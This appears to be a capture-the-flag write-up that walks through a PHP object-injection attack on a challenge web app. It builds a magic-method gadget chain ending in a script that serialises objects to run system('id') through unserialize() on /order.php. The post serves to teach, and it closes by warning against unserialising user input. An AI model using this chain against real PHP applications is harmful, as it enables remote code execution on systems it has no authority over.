Exploiting PHP unserialization for RCE
Introduction
PHP Object Injection vulnerabilities are frequently found in web applications. If successfully exploited they let attackers run arbitrary code and take advantage of vulnerabilities in deserialization. This blog post will demonstrate how to use object-oriented programming (OOP) analysis, magic methods, and payload creation to achieve arbitrary command execution due deserialization.
Before jumping into the challenge, it’s important to understand what PHP Object Injection is. When user-controlled input is passed to the unserialize() function, attackers can inject serialized objects into the application. If these objects include PHP magic methods (__destruct, __get, __invoke, etc.), attackers can manipulate the behavior of the application and potentially achieve arbitrary code execution (RCE).
This challenge revolves around exploiting these concepts by analyzing the application’s PHP models and chaining the magic methods to create an exploit payload.
Step 1: Initial Discovery
We start with the login page.
Observations:
- We don’t have login credentials initially, but the application provides a registration feature. This allows us to create an account.
- After registering and logging in, we’re presented with a page listing “Orders” (e.g., previously made orders by the user).
- Clicking on an order sends a POST request to /order.php with a data parameter.
Analysis of /order.php:
Upon inspecting the order.php source code, we identify the following potentially vulnerable section:
1
$order = unserialize(base64_decode($_POST['data']));
The data parameter is Base64-decoded and then passed to unserialize(). Since we control data, this is a clear Object Injection vulnerability. Our goal is to craft serialized objects that will trigger a chain of PHP magic methods to achieve RCE.
Step 2: Understanding the Models
The challenge provides several PHP classes. Each has distinct functionalities and magic methods. Here’s a detailed breakdown of each one:
1. PizzaModel (Pizza)
This class defines a __destruct() magic method. Magic methods like __destruct() are automatically called:
- When an object is destroyed.
- During PHP’s script shutdown sequence.
Here’s the Pizza Class code:
1
2
3
4
5
6
7
8
9
10
11
class Pizza
{
public $price;
public $cheese;
public $size;
public function __destruct()
{
echo $this->size->what;
}
}
Key note:
$this->size->what attempts to access the what property of $size. If $size is an object and the what property is not explicitly defined, PHP will invoke the __get magic method of that object (if it exists). This is a critical finding that allows us to combine the Pizza and Spaghetti classes.
2. SpaghettiModel (Spaghetti)
The Spaghetti class defines the __get() magic method:
1
2
3
4
5
6
7
8
9
10
11
class Spaghetti
{
public $sauce;
public $noodles;
public $portion;
public function __get($tomato)
{
($this->sauce)(); // Calls the function stored in `$sauce`
}
}
Key note:
When $size->what is accessed in the Pizza class, the __get() method of Spaghetti is triggered. $this->sauce is expected to store a callable function. For example: If $this->sauce = "phpinfo", then ($this->sauce)() will call phpinfo(). This opens the door for function execution.
3. IceCreamModel (IceCream)
The IceCream class uses the __invoke() magic method. This method is triggered when an object is treated like a function:
1
2
3
4
5
6
7
8
9
class IceCream {
public $flavors;
public $topping;
public function __invoke() {
foreach ($this->flavors as $flavor) {
echo $flavor;
}
}
}
Key note:
The __invoke method performs a foreach loop on the $flavors property. If $flavors is an object (e.g., an iterator), we can control its behavior when iterated. This can be exploited when combined with other models.
Step 3: Crafting the Payloads
With a clear understanding of how these models interact, we now craft serialized payloads to exploit the application.
Payload 1: Triggering phpinfo()
To test if deserialization works and the Pizza + Spaghetti chain can execute functions, we create the following payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class Spaghetti {
public $sauce = "phpinfo";
public function __get($tomato) {
($this->sauce)(); // Calls `phpinfo()`
}
}
class Pizza {
public $size;
public function __construct() {
$this->size = new Spaghetti(); // Assigns a `Spaghetti` object to `$size`
}
public function __destruct() {
echo $this->size->what; // Triggers the `__get` method
}
}
$obj = new Pizza();
echo base64_encode(serialize($obj));
Workflow:
- Serialize the Pizza object.
- Encode it in Base64.
- Send it as the data parameter to /order.php.
Result: The phpinfo() function executes, confirming that the deserialization chain works.
brrrrrrrrr!!! phpinfo();
Payload 2: Moving Beyond phpinfo()
While phpinfo() is a good starting point to confirm exploitability, it’s limited in scope. To achieve RCE, we need a mechanism to execute functions that accept arguments, such as system().
Challenge: Passing Arguments and nice RCE
Functions like system() or exec() require at least one argument (e.g., a shell command). To achieve this:
- We need a mechanism to pass parameters dynamically.
- PHP’s call_user_func() used in ArrayHelper class becomes a key for this purpose
The ArrayHelpers class, located in the Helpers namespace, extends PHP’s ArrayIterator. Its current() method is overridden to include a call to call_user_func():
1
2
3
4
5
6
7
8
9
10
11
12
13
14
namespace Helpers{
use \ArrayIterator;
class ArrayHelpers extends ArrayIterator
{
public $callback;
public function current()
{
$value = parent::current();
$debug = call_user_func($this->callback, $value);
return $value;
}
}
}
Key note:
The function current() function simply returns the value of the array element that’s currently being pointed to by the internal pointer. It does not move the pointer in any way. If the internal pointer points beyond the end of the elements list or the array is empty, current() returns false. in this function we have call_user_func that takes 2 parameters, a callable $callback and a mixed $argument Calls the callback given by the first parameter and passes the remaining parameters as arguments.
so from here now we might possibly have rce not only with a no param function like phpinfo, but with one line system(), shell_exec etc
so our crafted ArrayHelper class will besomething like this
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
namespace Helpers{
use \ArrayIterator;
class ArrayHelpers extends ArrayIterator
{
public $callback = "system";
public function current()
{
$value = parent::current(); // Fetches the current value of the iterator
call_user_func($this->callback, $value); // Calls the function with $value as argument
return $value;
}
}
}
Adding IceCream class to the Chain
The IceCream class serves as a connector between the Spaghetti object and the ArrayHelpers object. It uses the __invoke() magic method to iterate over the $flavors property:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class IceCream
{
public $flavors;
public function __construct()
{
$this->flavors = new Helpers\ArrayHelpers(["id"]); // Initializes the iterator with the command "id"
}
public function __invoke()
{
foreach ($this->flavors as $flavor) { // Loops through $flavors
echo $flavor; // Executes the `current()` method in ArrayHelpers
}
}
}
Key Observations
- __invoke()
- This magic method is triggered when the object is called as if it were a function. For example: $iceCream().
- Inside
__invoke(), the foreach loop iterates over$flavors.
- Connection to ArrayHelpers
$flavorsis assigned an ArrayHelpers object initialized with an array of commands(["id"]).- During each iteration, current() is called, executing system($value).
The Final Exploit script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
namespace Helpers{
use \ArrayIterator;
class ArrayHelpers extends ArrayIterator
{
public $callback = "system"; // Set callback to "system"
public function current()
{
$value = parent::current(); // Fetch the current value
echo $value."\n";
echo $this->callback."\n";
call_user_func($this->callback, $value); // Executes system($value)
return $value;
}
}
}
namespace{
class Spaghetti
{
public $sauce;
public function __construct()
{
echo "I am a spaghetti\n";
echo "Payload is: \n";
$this->sauce = new IceCream(); // Assigns an IceCream object to $sauce
}
public function __get($tomato)
{
($this->sauce)(); // Triggers IceCream's __invoke()
}
}
class Pizza
{
public function __construct()
{
$this->size = new Spaghetti(); // Assigns a Spaghetti object to $size
$this->price = "testtest";
$this->cheese = "Y";
}
public function __destruct()
{
echo $this->size->what; // Triggers Spaghetti's __get($tomato)
}
}
class IceCream
{
public $flavors;
public function __construct()
{
$this->flavors = new Helpers\ArrayHelpers(["id"]);
}
public function __invoke()
{
echo "\nI am in the function\n";
foreach ($this->flavors as $flavor) {
echo $flavor;
}
}
}
$obj = new Pizza();
echo base64_encode(serialize($obj));
}
Step-by-Step Explanation
- Instantiation
- A Pizza object is created.
- Inside the constructor, a Spaghetti object is assigned to $size.
- Serialization
- When serialized, the Pizza object contains the entire chain of objects (Spaghetti, IceCream, ArrayHelpers).
- Exploitation
- Upon deserialization and destruction of the Pizza object: Pizza’s
__destruct()method accesses$this->size->what. - This triggers Spaghetti’s
__get()method, which calls$this->sauce(). - IceCream’s
__invoke()is executed, iterating over$flavors. - During iteration, ArrayHelpers’
current()method is triggered, executingsystem($value)for every command in the array.
- Upon deserialization and destruction of the Pizza object: Pizza’s
BRRRRRRRR!!!! RCE
Final Note
This payload evolves from simple function execution (phpinfo()) to arbitrary command execution (system()), showcasing how serialization chains in PHP can lead to powerful RCE exploits. Key components include: call_user_func() in ArrayHelpers. Iteration logic in IceCream. Magic methods (__destruct, __get, __invoke) tying everything together.
This demonstrates the importance of never using unserialize() on user-supplied input without proper validation or safeguards.


